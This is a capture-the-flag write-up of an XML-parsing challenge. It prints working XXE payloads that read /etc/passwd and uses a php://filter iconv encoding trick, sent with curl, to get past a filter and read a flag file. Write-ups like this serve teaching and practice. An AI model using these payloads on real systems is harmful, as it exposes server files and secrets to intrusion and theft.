After messing around with varioud stuff, I realized the server only accepts GET requests, and that no matter what I tried in the URL, it still said that the supplied string is empty. So, instead I tried in the request body rather than the URL, and got some new feeback, in the sense that we need to supply an XML string. This means we need to perform an XXE. After a bit of testing, I retrieved /etc/passwd with **<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>**

We can try to exfiltrated the flag normally, or via base64, but we get rejected. Looking though the conversion possibilities, I come up with an idea. We can convert the flag to utf16, by interpreting the original text as utf16 then converting to utf8. This basically does an encoding without the server knowing.

**curl -X GET "http://35.198.127.202:32314/parse" **

**-H "Content-Type: application/xml" **

-d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.iconv.UTF-16.UTF-8/resource=file:///var/www/html/flag">]><foo>&xxe;</foo>'

After that, we simply need to convert back using **| iconv -f UTF-8 -t UTF-16**

Made with love by: AndreiCat